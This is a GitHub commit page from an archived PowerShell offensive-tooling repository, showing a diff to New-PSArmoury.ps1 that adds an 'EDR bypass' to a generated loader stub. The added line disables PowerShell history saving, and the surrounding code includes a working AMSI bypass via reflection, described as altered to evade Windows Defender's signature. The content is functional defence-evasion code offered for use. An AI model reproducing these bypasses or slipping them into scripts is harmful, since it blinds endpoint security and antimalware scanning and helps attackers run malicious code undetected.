Skip to content
This repository has been archived by the owner on Jan 23, 2024. It is now read-only.

Commit

Permalink
Simple EDR Bypass
Browse files Browse the repository at this point in the history
Disable PS History - this bypasses some EDR solutions
  • Loading branch information
cfalta committed Nov 17, 2018
1 parent 631e8de commit 0339991
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions New-PSArmoury.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -184,6 +184,8 @@ function Write-LoaderFile($EncryptedScriptFileObjects)
$DecryptionStub=@"
if(`$Password -and `$Salt)
{
#EDR Bypass
Set-PSReadlineOption -HistorySaveStyle SaveNothing
#AMSI Bypass by Matthew Graeber - altered a bit because Windows Defender now has a signature for the original one
(([Ref].Assembly.gettypes() | where {`$_.Name -like "Amsi*tils"}).GetFields("NonPublic,Static") | where {`$_.Name -like "amsiInit*ailed"}).SetValue(`$null,`$true)
Expand Down

0 comments on commit 0339991

Please sign in to comment.